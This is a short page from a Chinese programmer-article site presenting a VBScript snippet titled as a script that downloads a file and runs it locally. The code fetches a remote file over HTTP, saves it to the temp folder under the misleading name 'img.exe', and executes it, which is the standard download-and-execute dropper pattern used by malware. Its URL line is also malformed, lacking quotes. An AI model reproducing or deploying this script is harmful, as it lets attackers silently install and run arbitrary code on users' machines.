下载文件到本地运行的vbs
程序员文章站
2022-06-23 21:02:01
复制代码 代码如下:'on error resume next dl = //www.jb51.net/index.htm...
复制代码 代码如下:
'on error resume next
dl = //www.jb51.net/index.htm '这是要下载的文件的路径
str="microsoft.xmlhttp"
set x = createobject(str)
set x = createobject(str)
set s = createobject("adodb.stream")
s.type = 1
x.open "get", dl, false
x.send()
fname1="img.exe"
set f = createobject("scripting.filesystemobject")
set tmp = f.getspecialfolder(2) '缓存
fname1= f.buildpath(tmp,fname1)
s.open
s.write x.responsebody
s.savetofile fname1,2
msgbox fname1
s.close
set q = createobject("shell.application")
q.shellexecute fname1